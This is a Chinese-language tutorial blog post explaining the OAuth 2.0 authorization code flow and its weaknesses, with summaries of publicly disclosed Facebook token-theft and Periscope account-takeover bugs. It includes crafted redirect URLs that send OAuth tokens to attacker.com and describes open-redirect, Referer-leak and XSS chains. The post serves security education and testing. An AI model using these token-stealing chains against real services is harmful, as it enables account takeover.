OAuth认证和漏洞

OAuth认证

OAuth是一种认证机制,它方便用户授权给第三方网站/应用,去访问他们在其他网站指定范围内的信息,同时又不会泄露密码。你肯定在一些网站使用过“通过QQ/微博/Facebook账号登录”的功能,它们的实现就利用了OAuth认证。

一般来说OAuth 1.0和2.0版本是不兼容的,这里只讨论最常用的2.0版本。

Philippe Harewood博客中的一张图描述了OAuth的大致过程:授权码授权模式(Authorization Code Grant)

OAuth

图中示例对应OAuth中的一些概念:

  • User’s Browser → Resource Owner
  • Your App’s Server-side Code → Client
  • Facebook API → Resource Server
    整个过程就是你的浏览器作为Resource Owner,命令Resource Server允许 Client获取你指定范围内的个人信息。

具体步骤

理解

以“通过Facebook登录”为例

  1. 点击“通过Facebook登录”后,你的浏览器 (Resource Owner) 就发送了一条路径为www.example.com/oauth/facebook的GET请求
  2. www.example.com (Client) 发送一条302跳转响应引导你的浏览器访问其头信息中location指定的URL:
https://www.facebook.com/v2.0/dialog/oauth?client_id=123
&redirect_uri=https%3A%2F%2Fwww.example.com%2Foauth%2Fcallback
&response_type=code&scope=email&state=XYZ

其中的参数表示:

  • client_id:你来自哪个站点
  • scope:可获取信息的范围
  • redirect_uri:在你完成授权步骤后,Facebook (Resource Server) 应该把你重定向到哪个url
  • response_type:Facebook应该返回的值类型,可以为token或code
    • code:www.example.com 把它发送给Facebook来获取token
    • token:www.example.com 使用token来向Facebook获取数据,Facebook会验证token是否正确
  • state:类似于CSRF token的作用
  1. 当用户同意OAuth会话并授权www.example.com获取Facebook上的信息后,Facebook会响应给浏览器一个302重定向到www.example.com,具体路径由redirect_uri参数决定,响应中还包含code或者token值(由response_type决定,通常是code)
  2. 浏览器GET请求www.example.com,并包含code或token和state值
  3. www.example.com会验证state,确保没有数据篡改,并使用code和client_secret(只有www.example.com知道),去GET请求Facebook给予token
  4. Facebook返回给www.exmaple.com一个token,www.example.com得以持token来调用Facebook的API来获取指定scope内的数据

至此,当你再次访问第二步中的url时,所有的操作都不再需要用户交互。

助记

OAuth2中最典型的Authorization Code 授权模式,其大致流程如下:


Authorization Code 授权模式

漏洞

  1. 如果此处有open redirect漏洞,可以欺骗用户访问一个response_type和redirect_uri经过恶意篡改的URL,上面说到在首次授权后,每次访问步骤2的URL的后续操作都是自动完成的,攻击者可以通过这种方式盗取token。

    具体来说,可以从步骤2开始测试,修改location中的 response_type,看看服务器是否会返回token

    修改redirect_uri看看网站允许的url范围是否被错误配置,比如修改为www.example.ca或[email protected](把前一部分视为用户名和密码发送到attacker.com),两种方式都可以将token发送到攻击者控制的服务器。

    payload的部署也可以使用标签,其中src属性指向篡改后的url

  2. redirect url有限制时,

    • redirect至一个包含远程图片的页面,这个图片来自攻击者服务器,这样加载图片时,请求头中referrer就是包含token的url
    • redirect至包含存储型XSS的页面,或在redirect_ui中构造反射型XSS

实例:盗取Facebook官方Access Token

来自Philippe Harewood的博客
Philippe在https://www.facebook.com/search/me/apps-used中发现了某个应用在每个账号中都是默认认证的
说明这些应用不再需要用户手动授权
其中,Philippe发现了一个被错误配置的应用
授权时发送请求形如:

https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_
id=APP_ID&redirect_uri=REDIRECT_URI

此处的REDIRECT_URI可以是攻击者拥有的url,
因此,受害者点击以上链接,就会被重定向至
http://REDIRECT_URI/access_token_appended_here
攻击者即可获取token
该token支持诸多权限,且可访问Facebook GraphQL API,意味着几乎支持所有权限,甚至可以列出Instagram的Access Token。

实例:绕过OAuth回调验证+多重任意redirect导致Periscope账号被接管

在请求Token阶段,Periscope使用了一种回调锁定的技术来防止
callback_url参数被重写,防止token被传到第三方。
它会检测callback_url中不允许有http://,https://,ftp://协议,但twittersdk://,whatever://可以,但这个机制仅限callback_url是一个完整URI的情况下。

如果callback_url只是一个路径,就可以绕过检测,比如a/../home,并且还允许目录遍历。

如果再利用一个推特的open redirect链接就能串起一个盗取token的完整攻击链:

  1. 攻击者用consumer key & secrect(内置于app中,可通过逆向工程获得),生成一个Periscope的token请求
  2. 受害者通过该请求授权Periscope app
  3. 受害者被重定向到一个open redirect链接(包含目录遍历)(例如/redirect?url=http://attacker.com/#&oauth_token=...
  4. 受害者再次被重定向到http://attacker.com/#&oauth_token=...
    (注意这个携带token的技巧:/redirect?url=http://attacker.com/#&oauth_token=...)
  5. 拿到token

open redirect链接:https://twitter.com/login?redirect_after_login=
实际上这个url也是被限定为twitter的子域名
此时可以利用Twitter广告的cards功能,其回调可以设为任意url,本身url也属于twitter子域名cards.twitter.com

则整个跳转链:

  1. callback_url = a/../../login?redirect_after_login=https://cards.twitter.com/card_id#&oauth_token=...
  2. https://cards.twitter.com/card_id#&oauth_token=...
  3. https://attacker.com可以在referer中获取token

如果用户使用过Periscope的通过Twitter登录功能,验证就可以自动进行,整个攻击过程就不需要交互。

Resources

Swiping Facebook Official Access Tokens
Google Spreadsheet Vuln - CSRF and JSON Hijacking allows data theft

Reference

Web Hacking 101
Insufficient OAuth callback validation which leads to Periscope account takeover

你可能感兴趣的:(OAuth认证和漏洞)